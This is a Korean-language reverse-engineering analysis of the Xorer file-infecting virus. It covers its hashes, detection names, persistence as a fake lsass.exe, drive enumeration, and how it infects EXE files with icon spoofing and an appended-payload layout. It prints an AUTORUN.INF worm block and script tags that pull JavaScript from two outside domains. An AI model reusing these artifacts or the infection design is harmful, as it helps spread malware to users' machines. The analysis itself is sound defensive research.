기본 정보
MD5 75c9f6da8d9ef8ec92fe9b9c15f0911b
SHA-256 9bcb6b2cbc324ea8d51595cf1d49c851e25f678b27b5215b1497c54e202fdbbd
File type Win32 EXE
Magic PE32 executable for MS Windows (GUI) Intel 80386 32-bit
File size 64.00 KB (65536 bytes)
PEiD Microsoft Visual C++
탐지
AhnLab-V3 Virus/Win32.Xorer.R303056
BitDefender Trojan.Agent.BYKO
Kaspersky Virus.Win32.Xorer.dr
Microsoft Virus:Win32/Xorer.gen!I
'Xorer' 이름의 Virus infector(감염체) 파일이다. 일부에서는 'Pagipef' 또는 'Diskgen'이라고 하기도 한다. 파일은 정상 파일을 감염시키는 바이러스 기능을 한다. Xorer 바이러스는 MFC로 제작(MFC42.dll 로드)되었다. 바이러스 악성코드이기 때문에, 다음 3가지를 포인트를 확인한다.
- 바이러스는 다른 파일을 어떻게 감염시키는가?
- 감염된 파일은 어떻게 동작하는가?
- 감염의 목적은 무엇인가?
#1 infector(감염체) 파일의 실행 시작, 바이러스의 목적
MFC 파일에서 Entry Point 호출되는 방식은 다음과 같다. CreateDialogIndirectParamA 함수 호출 이후 유저 함수가 실행된다.
CDialog::DoModal() // Calls a modal dialog box and returns when done.
CreateDialogIndirectParamA() /* Callback function. This API call sends a WM_INITDIALOG message to the dialog's appropriate procedure, thus this serves as our entry point into the
GUI aspect of our application, which is the initialization callback for this dialog type. */
프로세스 경로에 '.exe'와 'lsass' 문자열이 존재하는지 확인한다. 존재하지 않으면서 파일 크기가 0x8000보다 큰 경우 #2로 이동한다. 파일명이 lsass.exe인 것을 확인하기 위한 목적이나, 두 문자열이 경로에 포함되어 있으면 된다.
'MCI Program Com Application' 이름의 WindowName을 가진 윈도우를 찾아보고, 기존에 있다면 이미 악성코드가 동작중인 것이므로 현재 프로세스를 종료한다. 해당되는 윈도우가 없다면, 현재 WindowName을 'MCI Program Com Application'으로 설정한다.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders 레지스트리 Key의 시작 프로그램 경로를 의미하는 Startup 값을 확인하고 <Startup경로>\~.pif 파일 경로명을 생성한다.
0x10000 크기의 메모리 공간을 할당하고 파일 바이너리를 메모리에 읽는다.
<Startup경로>를 숨김 속성으로 변경한다. <Startup경로>\~.pif 파일을 생성하고, 위에서 할당받은 메모리 데이터가 파일 바이너리가 된다. 악성 파일이 시작 프로그램 경로에 복제된다.
%SystemRoot%\system32\drivers\lsass.exe 파일을 생성하고, 위에서 할당받은 메모리 데이터가 파일 바이너리가 된다. 악성 파일이 시스템 폴더 경로에 복제된다.
C:\ 드라이브부터 Z:\ 드라이브까지 하나씩 올라가면서 드라이브가 존재하지 않을 때까지, DRIVE_NO_ROOT_DIR로 값이 리턴될 때까지 드라이브 개수를 확인하여 변수에 저장한다. 최종적으로 변수에 저장되는 값은 시스템에 존재하는 [유효드라이브개수]+1 이다.
프로세스 경로가 %SystemRoot%\system32\drivers\lsass.exe가 아니면 lsass.exe 프로세스를 실행하고 현재 프로세스는 종료한다. 맞다면 파일 감염을 위한 #3 과정을 실행한다.
#3 과정 실행 이후에는 장시간의 타임아웃 시간으로 설정된 타이머를 이벤트 ID를 1~4까지 부여하여 실행한다.
이후 메시지 처리 과정에서 다음 함수가 실행되는데, 앞부분과의 연관 및 타이머 함수 호출 관계는 잘 이해하지 못하였다. DispatchMessageA 함수 호출 이후 또 다른 유저 함수가 실행된다.
DispatchMessageA // Dispatches a message to a window procedure. It is typically used to dispatch a message retrieved by the GetMessage function.
여러 번의 타이머 호출 이벤트 ID에 따라 다른 분기문을 실행한다. 타이머 이벤트는 반복적으로 실행된다.
(1) 타이머 이벤트 ID가 1일 때
타이머를 중단하고, <Startup경로>\~.pif 파일이 시스템에 있는지 확인하고, 없을 경우 현재 파일을 복제한다. 악성 파일이 시작 프로그램 경로에 복제된다.
C:\ 드라이브부터 Z:\ 드라이브까지 하나씩 올라가면서 드라이브가 존재하지 않을 때까지, DRIVE_NO_ROOT_DIR로 값이 리턴될 때까지 드라이브 개수를 확인하여 변수에 저장한다. 이 변수는 앞서 확인하여 저장한 변수와는 또 다른 변수이다. 두 개의 변수를 비교하여 새로 확인한 드라이브 개수가 더 클 때, 즉, 새로운 드라이브가 추가되었을 때 해당 디스크 드라이브의 파일을 #3 과정을 실행하여 파일을 감염한다.
처음 메모리 공간에 할당받은 파일 바이너리 데이터를 이용하여 <드라이브루트경로>\pagefile.pif 파일로 생성하고 숨김과 시스템 파일 속성을 부여한다. 악성 파일이 드라이브의 pagefile.pif 파일로 복제된다.
<드라이브루트경로>\AUTORUN.INF 파일을 생성하고 숨김과 시스템 파일 속성을 부여한다. AUTORUN.INF 파일의 내용은 다음과 같다. 이는 새로운 드라이브가 추가되었을 때 자가 파일 전파를 위한 웜(Worm) 기능이다.
이후 타이머를 다시 리셋한다.
[AutoRun]
open=pagefile.pif
shellexecute=pagefile.pif
shell\Auto\command=pagefile.pif
(2) 타이머 이벤트 ID가 2일 때
IEFrame 윈도우, Internet Explorer 프로세스가 떠 있는지 확인한다.
스크립트 태그 문자열을 생성한다.
<script defer src='http://www.265dm.cn/adjs.js' language='javascript'></script><script defer src='http://vod.21cnyl.com/fjs.js' language='javascript></script>
RPC 호출을 통하여 Internet Explorer가 'http://www.265dm.cn/adjs.js'와 'http://vod.21cnyl.com/fjs.js' 주소에 접속하여 파일을 다운받게 한다.
Internet Explorer 9에서는 이 부분이 행위적으로 나타났으나, Internet Explorer 11에서는 이 부분이 행위로 나타나지는 않았다.
(3) 타이머 이벤트 ID가 3일 때
IEFrame 윈도우를 확인하고 IEXPLORE 웹 브라우저로 http://www.265dm.cn 주소에 접속하도록 쉘을 실행한다.
(4) 타이머 이벤트 ID가 4일 때
IEFrame 윈도우를 확인하고 IEXPLORE 웹 브라우저로 http://vod.21cnyl.com/bd.htm 주소에 접속하도록 쉘을 실행한다.
#2 감염된 파일의 실행
프로세스 이름이 lsass.exe이 아니고 파일 크기가 0x8000보다 클 때 실행되는 흐름으로, EXE 실행 파일이 Xorer 바이러스에 감염되었을 때 실행하는 부분이다.
프로세스 이름 마지막 4자리인 '.exe'를 제외하고 '.~tmp'를 붙여서 만든 파일 경로 <실행파일이름.~tmp>를 생성한다.
파일의 특정 위치인 [0x6034]의 4바이트 DWORD 값을 확인하여 그 크기만큼 메모리를 할당한다.
파일 시작 위치에서 DWORD PTR:[0x6034] 만큼 이동하고, 그 위치에서 읽은 4바이트 DWORD 값을 별도의 변수에 저장한다. 이는 이후 #4 과정의 감염 과정에서 확인되는 원본 EXE 실행 파일의 크기이다.
현재 파일 포인터에서 4바이트씩 2번 더 파일 포인터를 이동한다. 파일 포인터는 이제 파일 시작 위치에서 [0x6034] 크기 + 0x8 만큼 이동한 상태이다.
현재 파일 포인터에서 1바이트 크기를 4카운트 만큼 (즉, 4바이트) 파일 바이너리를 위에서 할당한 메모리에 읽고, 이를 <실행파일이름.~tmp> 파일로 저장한다.
0 이상의 유효한 크기를 읽을 때까지 반복적으로 진행하는데, 이 과정은 지금까지 읽고 저장한 크기가 변수에 저장한 원본 EXE 파일 크기보다 커진다면 중단한다.
따라서 <실행파일이름.~tmp> 파일의 크기는 변수로 저장된 DWORD PTR:[0x6034] 위치에 있는 DWORD 값인 원본 EXE 실행 파일의 크기를 벗어날 수 없다.
현재 파일 포인터에서 1바이트 크기를 4카운트 만큼 (즉, 4바이트) 파일 바이너리를 반복적으로 읽고 %SystemRoot%\system32\drivers\lsass.exe 파일로 저장한다.
만들어진 %SystemRoot%\system32\drivers\lsass.exe 파일을 프로세스로 실행한다. 이는 #1 과정이 시작하는 것을 의미한다.
만들어진 <실행파일이름.~tmp> 파일을 프로세스로 실행하여 Xorer 바이러스에 감염되기 전의 원본 실행 파일이 실행되도록 한다.
현재 프로세스를 종료한다.
#3 infector 파일의 다른 파일 감염 과정
[유효드라이브개수]+1 변수 값을 초기화한다.
C:\ 드라이브부터 Z:\ 드라이브까지 하나씩 올라가면서 드라이브가 존재하지 않을 때까지, 각 드라이브를 대상으로 다음과 같은 감염 과정을 실행하고 최종적으로 변수에 [유효드라이브개수]+1 값을 저장한다. 이 변수는 타이머 이벤트 ID가 1일 때 드라이브 개수 비교 목적으로 사용된다.
%SystemRoot%\system32\drivers\lsass.exe 파일 경로에서 왼쪽 3글자인 C:\ 경로와 현재 탐색하고 있는 드라이브 문자를 비교하여 같다면 현재 드라이브의 감염을 즉시 종료한다. 시스템 경로의 EXE 파일은 감염하지 않는다.
드라이브 내부에 파일이 존재하지 않으면 현재 드라이브의 감염을 즉시 종료한다. 대상 파일이 . (현재 디렉토리) 또는 .. (부모 디렉토리)이면, 다음 파일을 탐색한다. 대상 파일이 디렉토리라면 현재 경로명 가장 마지막에 \을 붙여서 경로를 확장시키고 감염 과정을 재귀 실행한다.
대상 파일 크기가 0xF00000 보다 작고, 확장자는 .exe 이어야 다음 감염을 진행한다.
감염 과정 시작 단계에서 대상 파일의 생성, 마지막 수정, 마지막 액세스 시간 정보를 백업해둔다.
감염 대상 파일 <파일명>.exe을 새로운 파일 <파일명>.exe.p 파일로 복제한다.
#4 과정에서 본격적으로 감염 대상 파일을 감염시킨다.
<파일명>.exe.p 파일을 삭제하고 <파일명>.exe 파일에 앞서 백업해둔 시간 정보를 복구한다.
#4 infector 파일의 다른 파일 감염 과정 상세
프로세스 속성으로 파일 크기 65,536 bytes (0x10000)를 얻고, RVA [0x6034]에 저장한다. 기존 값 0x8000이 0x10000로 덮어써진다.
파일 크기만큼 메모리를 할당하여 현재 프로세스 파일을 메모리에 새로 읽는다. 메모리에 읽어 들인 크기와 파일 크기가 동일한지 확인하고 아니라면 감염은 실패한다. 이 메모리 데이터는 이후 계속해서 참조된다.
메모리 데이터를 한 바이트씩 탐색해서 0x12345678 시그니처가 있는 위치를 찾고, 찾은 위치에 프로세스의 RVA [0x6030]로 부터 8바이트를 복제한다. [0x6030]부터 저장된 8바이트는 프로세스의 0x12345678 시그니처와 0x10000 파일 크기 값이다.
0x12345678 시그니처가 있던 오프셋인 0x6030이 [0x6034]에 저장된 값(파일 크기)에서 4를 뺀 값보다 크거나 같다면 감염은 실패한다.
감염 대상 파일 <파일명>.exe.p 파일의 크기가 0 이상으로 유효한 파일 크기인지 확인하고 아니라면 감염은 실패한다.
이제부터 설명하는 과정은 악성 파일의 아이콘을 감염 대상 파일 아이콘으로 교체하기 위한 것으로, 파일이 가질 수 있는 제한적인 아이콘 정보 안에 감염 대상 파일 아이콘 정보를 넣기 위함이다.
typedef struct // This is the actual RT_GROUP_ICON structure
{
WORD Reserved;
WORD ResourceType;
WORD ImageCount;
PIconDirResEntry Entries; // The number of entries is ImageCount
} GroupIcon;
typedef struct // This is the Directory Entry stored in resources
{
BYTE Width;
BYTE Height;
BYTE Colors;
BYTE Reserved;
WORD Planes;
WORD BitsPerPixel;
DWORD ImageSize;
WORD ResourceID
} IconDirResEntry, *PIconDirResEntry;
프로세스의 GROUP_ICON 리소스의 파일 오프셋을 구하기 위해 프로세스의 GROUP_ICON 데이터를 읽어 위에서 읽은 메모리 데이터와 시작부터 한 바이트씩 비교하여 찾는다.
GROUP_ICON이 위치한 오프셋을 찾으면 IconDirResEntry 구조체를 따라 ResourceID를 계산해서 프로세스가 가진 첫 번째 ICON의 ID를 찾고 ICON 데이터를 읽어서 위에서 읽은 메모리 데이터와 시작부터 한 바이트씩 비교하여 찾는다. 첫 번째 ICON 리소스의 파일 오프셋을 구한다.
<파일명>.exe.p 파일을 로드하고, GROUP_ICON 리소스를 찾는다. GROUP_ICON 구조체의 IconDirResEntry를 따라가서 현재 프로세스와 ImageSize, BitsPerPixel, Planes이 같은 ICON이 있는지 확인한다. 없을 경우 다음 IconDirResEntry을 탐색한다. 3가지에 매칭되는 ICON을 찾으면 Width, height, Colors, Reserved가 같은지도 비교한다. 없을 경우 다음 IconDirResEntry을 탐색한다.
모든 IconDirResEntry를 찾아도 없다면 메모리를 해제하고 감염은 실패한다. 찾았다면 프로세스의 첫 번째 ICON IconDirResEntry 구조체의 모든 멤버가 일치하는 <파일명>.exe.p 의 ICON을 찾은 것이다.
<파일명>.exe.p 의 ICON 데이터를 메모리 데이터의 해당 ICON 위치에 덮어 씀으로서 ICON 데이터가 감염 대상 파일의 데이터로 교체된다. 이 과정에서 ICON 위치는 위에서 구한 ICON 리소스의 파일 오프셋을 이용하여 계산한다.
첫 번째 ICON을 교체했으면, 다음 ICON에 대해서도 같은 작업을 반복한다. 프로세스는 자신이 가진 GROUP_ICON 리소스의 ImageCount 개수만큼 모든 ICON 데이터를 교체한다.
프로세스의 GROUP_ICON 구조체 ImageCount 개수를 0으로 변경한다. 그런데 여기서 .rsrc 섹션 부분에 Write 하는 메모리 Write 액세스 권한이 없어서 Access Violation이 발생한다. 그러나 실행할 때는 Exception이 발생하지 않는다. 실행할 때는 .rsrc 섹션에 Write 권한이 부여되어 있다. 어찌된 것일까?
프로세스의 GROUP_ICON 구조체를 다시 돌면서 ImageCount 값을 다시 원래대로 되돌린다. 이 때 하나씩 올려가는데 왜 하는지 잘 모르겠다.
프로세스의 GROUP_ICON 데이터를 메모리 데이터의 GROUP_ICON에 덮어 쓴다. 그러나 이로인한 실질적인 바이너리 변화는 없다.
<파일명>.exe.p 파일을 오픈하고 [0x6034]에 명시된 파일 크기인 0x10000 만큼 메모리를 할당하여 <파일명>.exe.p 파일을 읽는다. 읽은 크기 - 5 범위까지 한 바이트씩 탐색해서 'kdcyy' 스트링이 있는지 확인하여 기존의 감염 여부를 확인한다. 있으면 감염은 실패한다.
<파일명>.exe 파일을 새로 오픈하고 내용과 파일 크기는 0으로 초기화 된다. <파일명>.exe 파일에 다음과 같은 데이터를 순차적으로 추가한다.
(1) 0x10000 바이트 - 메모리 데이터를 [0x6034]에 명시된 파일 크기인 0x10000만큼: 이 데이터는 악성 파일과 비교하였을 때 DWORD PTR:[0x6034] 값과 ICON 정보가 달라져 있다.
(2) 4 바이트 - 감염 대상의 파일 크기
(3) 4 바이트 - MFC42 라이브러리가 로딩된 주소
(4) N 바이트 - 감염 대상 파일: <파일명>.exe.p 파일을 기존에 메모리 데이터가 있던 영역에 [0x6034] 크기만큼 읽고, 유효한 크기를 읽을 때까지 <파일명>.exe에 추가
(5) 0x10000 바이트 - C:\Windows\system32\drivers\lsass.exe 파일을 기존에 메모리 데이터가 있던 영역에 [0x6034] 크기만큼 읽고, 유효한 크기를 읽을 때까지 <파일명>.exe에 추가